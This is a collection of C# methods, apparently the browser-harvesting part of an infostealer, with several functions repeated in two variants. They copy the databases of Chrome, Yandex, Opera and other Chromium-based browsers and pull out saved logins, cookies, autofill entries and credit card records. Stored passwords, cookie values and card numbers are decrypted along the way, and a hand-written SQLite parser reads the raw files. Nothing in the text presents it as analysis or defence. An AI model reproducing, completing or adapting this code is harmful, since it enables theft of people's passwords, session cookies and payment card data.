private static List <FormData> FetchForms(string basePath) { if (!File.Exists(basePath)) { return(null); } basePath.Contains("Chrome"); basePath.Contains("Yandex"); basePath.Contains("Orbitum"); basePath.Contains("Opera"); basePath.Contains("Amigo"); basePath.Contains("Torch"); basePath.Contains("Comodo"); try { string path = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(path)) { File.Delete(path); } File.Copy(basePath, path, true); SqlHandler handler = new SqlHandler(path); List <FormData> list = new List <FormData>(); handler.ReadTable("autofill"); if (handler.GetRowCount() == 0x10000) { return(null); } int rowNum = 0; while (true) { if (rowNum >= handler.GetRowCount()) { break; } try { FormData item = new FormData { Name = handler.GetValue(rowNum, 0), Value = handler.GetValue(rowNum, 1) }; list.Add(item); } catch (Exception) { } rowNum++; } File.Delete(path); return(list); } catch (Exception) { return(null); } }
private bool ReadTableFromOffset(ulong offset) { try { if ((int)this._fileBytes[offset] == 13) { ushort num1 = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL); int num2 = 0; if (this._tableEntries != null) { num2 = this._tableEntries.Length; Array.Resize <SqlHandler.TableEntry>(ref this._tableEntries, this._tableEntries.Length + (int)num1 + 1); } else { this._tableEntries = new SqlHandler.TableEntry[(int)num1 + 1]; } for (ushort index1 = 0; (int)index1 <= (int)num1; ++index1) { ulong num3 = this.ConvertToULong((int)offset + 8 + (int)index1 * 2, 2); if ((long)offset != 100L) { num3 += offset; } int endIdx1 = this.Gvl((int)num3); this.Cvl((int)num3, endIdx1); int endIdx2 = this.Gvl((int)((long)num3 + ((long)endIdx1 - (long)num3) + 1L)); this.Cvl((int)((long)num3 + ((long)endIdx1 - (long)num3) + 1L), endIdx2); ulong num4 = num3 + (ulong)((long)endIdx2 - (long)num3 + 1L); int endIdx3 = this.Gvl((int)num4); int endIdx4 = endIdx3; long num5 = this.Cvl((int)num4, endIdx3); SqlHandler.RecordHeaderField[] array = (SqlHandler.RecordHeaderField[])null; long num6 = (long)num4 - (long)endIdx3 + 1L; int index2 = 0; while (num6 < num5) { Array.Resize <SqlHandler.RecordHeaderField>(ref array, index2 + 1); int startIdx = endIdx4 + 1; endIdx4 = this.Gvl(startIdx); array[index2].Type = this.Cvl(startIdx, endIdx4); array[index2].Size = array[index2].Type <= 9L ? (long)this._sqlDataTypeSize[array[index2].Type] : (!SqlHandler.IsOdd(array[index2].Type) ? (array[index2].Type - 12L) / 2L : (array[index2].Type - 13L) / 2L); num6 = num6 + (long)(endIdx4 - startIdx) + 1L; ++index2; } if (array != null) { this._tableEntries[num2 + (int)index1].Content = new string[array.Length]; int num7 = 0; for (int index3 = 0; index3 <= array.Length - 1; ++index3) { if (array[index3].Type > 9L) { if (!SqlHandler.IsOdd(array[index3].Type)) { if ((long)this._dbEncoding == 1L) { this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size); } else if ((long)this._dbEncoding == 2L) { this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size); } else if ((long)this._dbEncoding == 3L) { this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size); } } else { this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size); } } else { this._tableEntries[num2 + (int)index1].Content[index3] = Convert.ToString(this.ConvertToULong((int)((long)num4 + num5 + (long)num7), (int)array[index3].Size)); } num7 += (int)array[index3].Size; } } } } else if ((int)this._fileBytes[offset] == 5) { ushort num1 = (ushort)(this.ConvertToULong((int)((long)offset + 3L), 2) - 1UL); for (ushort index = 0; (int)index <= (int)num1; ++index) { ushort num2 = (ushort)this.ConvertToULong((int)offset + 12 + (int)index * 2, 2); this.ReadTableFromOffset((this.ConvertToULong((int)((long)offset + (long)num2), 4) - 1UL) * this._pageSize); } this.ReadTableFromOffset((this.ConvertToULong((int)((long)offset + 8L), 4) - 1UL) * this._pageSize); } return(true); } catch { return(false); } }
private void ReadMasterTable(long offset) { try { switch (this._fileBytes[offset]) { case 5: ushort num1 = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL); for (int index = 0; index <= (int)num1; ++index) { ushort num2 = (ushort)this.ConvertToULong((int)offset + 12 + index * 2, 2); if (offset == 100L) { this.ReadMasterTable(((long)this.ConvertToULong((int)num2, 4) - 1L) * (long)this._pageSize); } else { this.ReadMasterTable(((long)this.ConvertToULong((int)(offset + (long)num2), 4) - 1L) * (long)this._pageSize); } } this.ReadMasterTable(((long)this.ConvertToULong((int)offset + 8, 4) - 1L) * (long)this._pageSize); break; case 13: ulong num3 = this.ConvertToULong((int)offset + 3, 2) - 1UL; int num4 = 0; if (this._masterTableEntries != null) { num4 = this._masterTableEntries.Length; Array.Resize <SqlHandler.SqliteMasterEntry>(ref this._masterTableEntries, this._masterTableEntries.Length + (int)num3 + 1); } else { this._masterTableEntries = new SqlHandler.SqliteMasterEntry[checked ((ulong)unchecked ((long)num3 + 1L))]; } for (ulong index1 = 0; index1 <= num3; ++index1) { ulong num2 = this.ConvertToULong((int)offset + 8 + (int)index1 * 2, 2); if (offset != 100L) { num2 += (ulong)offset; } int endIdx1 = this.Gvl((int)num2); this.Cvl((int)num2, endIdx1); int endIdx2 = this.Gvl((int)((long)num2 + ((long)endIdx1 - (long)num2) + 1L)); this.Cvl((int)((long)num2 + ((long)endIdx1 - (long)num2) + 1L), endIdx2); ulong num5 = num2 + (ulong)((long)endIdx2 - (long)num2 + 1L); int endIdx3 = this.Gvl((int)num5); int endIdx4 = endIdx3; long num6 = this.Cvl((int)num5, endIdx3); long[] numArray = new long[5]; for (int index2 = 0; index2 <= 4; ++index2) { int startIdx = endIdx4 + 1; endIdx4 = this.Gvl(startIdx); numArray[index2] = this.Cvl(startIdx, endIdx4); numArray[index2] = numArray[index2] <= 9L ? (long)this._sqlDataTypeSize[numArray[index2]] : (!SqlHandler.IsOdd(numArray[index2]) ? (numArray[index2] - 12L) / 2L : (numArray[index2] - 13L) / 2L); } if ((long)this._dbEncoding == 1L || (long)this._dbEncoding == 2L) { ; } if ((long)this._dbEncoding == 1L) { this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.Default.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]); } else if ((long)this._dbEncoding == 2L) { this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]); } else if ((long)this._dbEncoding == 3L) { this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]); } this._masterTableEntries[num4 + (int)index1].RootNum = (long)this.ConvertToULong((int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2]), (int)numArray[3]); if ((long)this._dbEncoding == 1L) { this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Default.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]); } else if ((long)this._dbEncoding == 2L) { this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]); } else if ((long)this._dbEncoding == 3L) { this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]); } } break; } } catch { } }
private static List <CardData> FetchCards(string basePath) { if (!File.Exists(basePath)) { return(null); } basePath.Contains("Chrome"); basePath.Contains("Yandex"); basePath.Contains("Orbitum"); basePath.Contains("Opera"); basePath.Contains("Amigo"); basePath.Contains("Torch"); basePath.Contains("Comodo"); try { string path = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(path)) { File.Delete(path); } File.Copy(basePath, path, true); SqlHandler handler = new SqlHandler(path); List <CardData> list = new List <CardData>(); handler.ReadTable("credit_cards"); int rowNum = 0; while (true) { if (rowNum >= handler.GetRowCount()) { break; } try { string str2 = string.Empty; try { str2 = Encoding.UTF8.GetString(DecryptBrowsers(Encoding.Default.GetBytes(handler.GetValue(rowNum, 4)), null)); } catch (Exception) { } if (str2 != "") { CardData item = new CardData { Name = handler.GetValue(rowNum, 1), Exp_m = handler.GetValue(rowNum, 2), Exp_y = handler.GetValue(rowNum, 3), Number = str2, Billing = handler.GetValue(rowNum, 9) }; list.Add(item); } } catch (Exception) { } rowNum++; } File.Delete(path); return(list); } catch (Exception) { return(null); } }
private static List <PassData> FetchPasswords(string basePath) { if (!File.Exists(basePath)) { return(null); } string str = ""; if (basePath.Contains("Chrome")) { str = "Google Chrome"; } if (basePath.Contains("Yandex")) { str = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str = "Opera Browser"; } if (basePath.Contains("Amigo")) { str = "Amigo Browser"; } if (basePath.Contains("Torch")) { str = "Torch Browser"; } if (basePath.Contains("Comodo")) { str = "Comodo Browser"; } try { string path = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(path)) { File.Delete(path); } File.Copy(basePath, path, true); SqlHandler handler = new SqlHandler(path); List <PassData> list = new List <PassData>(); handler.ReadTable("logins"); int rowNum = 0; while (true) { if (rowNum >= handler.GetRowCount()) { break; } try { string str3 = string.Empty; try { str3 = Encoding.UTF8.GetString(DecryptBrowsers(Encoding.Default.GetBytes(handler.GetValue(rowNum, 5)), null)); } catch (Exception) { } if (str3 != "") { PassData item = new PassData { Url = handler.GetValue(rowNum, 1).Replace("https://", "").Replace("http://", ""), Login = handler.GetValue(rowNum, 3), Password = str3, Program = str }; list.Add(item); } } catch (Exception) { } rowNum++; } File.Delete(path); return(list); } catch (Exception) { return(null); } }
private static List <CookieData> FetchCookies(string basePath) { if (!File.Exists(basePath)) { return(null); } basePath.Contains("Chrome"); basePath.Contains("Yandex"); basePath.Contains("Orbitum"); basePath.Contains("Opera"); basePath.Contains("Amigo"); basePath.Contains("Torch"); basePath.Contains("Comodo"); try { string path = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(path)) { File.Delete(path); } File.Copy(basePath, path, true); SqlHandler handler = new SqlHandler(path); List <CookieData> list = new List <CookieData>(); handler.ReadTable("cookies"); int rowNum = 0; while (true) { if (rowNum >= handler.GetRowCount()) { break; } try { string str2 = string.Empty; try { str2 = Encoding.UTF8.GetString(DecryptBrowsers(Encoding.Default.GetBytes(handler.GetValue(rowNum, 12)), null)); } catch (Exception) { } if (str2 != "") { CookieData item = new CookieData { host_key = handler.GetValue(rowNum, 1), name = handler.GetValue(rowNum, 2), path = handler.GetValue(rowNum, 4), expires_utc = handler.GetValue(rowNum, 5), secure = handler.GetValue(rowNum, 6), value = str2 }; list.Add(item); } } catch (Exception) { } rowNum++; } File.Delete(path); return(list); } catch (Exception) { return(null); } }
private static List <FormData> FetchForms(string basePath) { if (!File.Exists(basePath)) { return((List <FormData>)null); } string str1 = ""; if (basePath.Contains("Chrome")) { str1 = "Google Chrome"; } if (basePath.Contains("Yandex")) { str1 = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str1 = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str1 = "Opera Browser"; } if (basePath.Contains("Amigo")) { str1 = "Amigo Browser"; } if (basePath.Contains("Torch")) { str1 = "Torch Browser"; } if (basePath.Contains("Comodo")) { str1 = "Comodo Browser"; } try { string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(str2)) { File.Delete(str2); } File.Copy(basePath, str2, true); SqlHandler sqlHandler = new SqlHandler(str2); List <FormData> formDataList = new List <FormData>(); sqlHandler.ReadTable("autofill"); if (sqlHandler.GetRowCount() == 65536) { return((List <FormData>)null); } for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum) { try { formDataList.Add(new FormData() { Name = sqlHandler.GetValue(rowNum, 0), Value = sqlHandler.GetValue(rowNum, 1) }); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); } } File.Delete(str2); return(formDataList); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); return((List <FormData>)null); } }
private static List <CardData> FetchCards(string basePath) { if (!File.Exists(basePath)) { return((List <CardData>)null); } string str1 = ""; if (basePath.Contains("Chrome")) { str1 = "Google Chrome"; } if (basePath.Contains("Yandex")) { str1 = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str1 = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str1 = "Opera Browser"; } if (basePath.Contains("Amigo")) { str1 = "Amigo Browser"; } if (basePath.Contains("Torch")) { str1 = "Torch Browser"; } if (basePath.Contains("Comodo")) { str1 = "Comodo Browser"; } try { string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(str2)) { File.Delete(str2); } File.Copy(basePath, str2, true); SqlHandler sqlHandler = new SqlHandler(str2); List <CardData> cardDataList = new List <CardData>(); sqlHandler.ReadTable("credit_cards"); /* * if (sqlHandler.GetRowCount() == 65536) * return (List<CardData>)null;*/ for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum) { try { string empty = string.Empty; try { empty = Encoding.UTF8.GetString(Browsers.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 4)), (byte[])null)); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); } if (empty != "") { cardDataList.Add(new CardData() { Name = sqlHandler.GetValue(rowNum, 1), Exp_m = sqlHandler.GetValue(rowNum, 2), Exp_y = sqlHandler.GetValue(rowNum, 3), Number = empty, Billing = sqlHandler.GetValue(rowNum, 9) }); } } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); } } File.Delete(str2); return(cardDataList); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); return((List <CardData>)null); } }
private static List <CookieData> FetchCookies(string basePath) { if (!File.Exists(basePath)) { return((List <CookieData>)null); } string str1 = ""; if (basePath.Contains("Chrome")) { str1 = "Google Chrome"; } if (basePath.Contains("Yandex")) { str1 = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str1 = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str1 = "Opera Browser"; } if (basePath.Contains("Amigo")) { str1 = "Amigo Browser"; } if (basePath.Contains("Torch")) { str1 = "Torch Browser"; } if (basePath.Contains("Comodo")) { str1 = "Comodo Browser"; } try { string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(str2)) { File.Delete(str2); } File.Copy(basePath, str2, true); SqlHandler sqlHandler = new SqlHandler(str2); /*if (sqlHandler.GetRowCount() == 65536) * return (List<CookieData>)null;*/ List <CookieData> cookieDataList = new List <CookieData>(); sqlHandler.ReadTable("cookies"); for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum) { try { string empty = string.Empty; try { empty = Encoding.UTF8.GetString(Browsers.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 12)), (byte[])null)); } catch (Exception ex) { // // //Console.WriteLine(ex.ToString()); } if (empty != "") { cookieDataList.Add(new CookieData() { host_key = sqlHandler.GetValue(rowNum, 1), name = sqlHandler.GetValue(rowNum, 2), path = sqlHandler.GetValue(rowNum, 4), expires_utc = sqlHandler.GetValue(rowNum, 5), secure = sqlHandler.GetValue(rowNum, 6), value = empty, }); } } catch (Exception ex) { // // //Console.WriteLine(ex.ToString()); } } File.Delete(str2); return(cookieDataList); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); return((List <CookieData>)null); } }
private static List <PassData> FetchPasswords(string basePath) { if (!File.Exists(basePath)) { return((List <PassData>)null); } string str1 = ""; if (basePath.Contains("Chrome")) { str1 = "Google Chrome"; } if (basePath.Contains("Yandex")) { str1 = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str1 = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str1 = "Opera Browser"; } if (basePath.Contains("Amigo")) { str1 = "Amigo Browser"; } if (basePath.Contains("Torch")) { str1 = "Torch Browser"; } if (basePath.Contains("Comodo")) { str1 = "Comodo Browser"; } try { string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(str2)) { File.Delete(str2); } File.Copy(basePath, str2, true); SqlHandler sqlHandler = new SqlHandler(str2); List <PassData> passDataList = new List <PassData>(); sqlHandler.ReadTable("logins"); for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum) { try { string empty = string.Empty; try { empty = Encoding.UTF8.GetString(Browsers.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 5)), (byte[])null)); } catch (Exception ex) { } if (empty != "") { passDataList.Add(new PassData() { Url = sqlHandler.GetValue(rowNum, 1).Replace("https://", "").Replace("http://", ""), Login = sqlHandler.GetValue(rowNum, 3), Password = empty, Program = str1 }); } } catch (Exception ex) { // // //Console.WriteLine(ex.ToString()); } } File.Delete(str2); return(passDataList); } catch (Exception ex) { // // //Console.WriteLine(ex.ToString()); return((List <PassData>)null); } }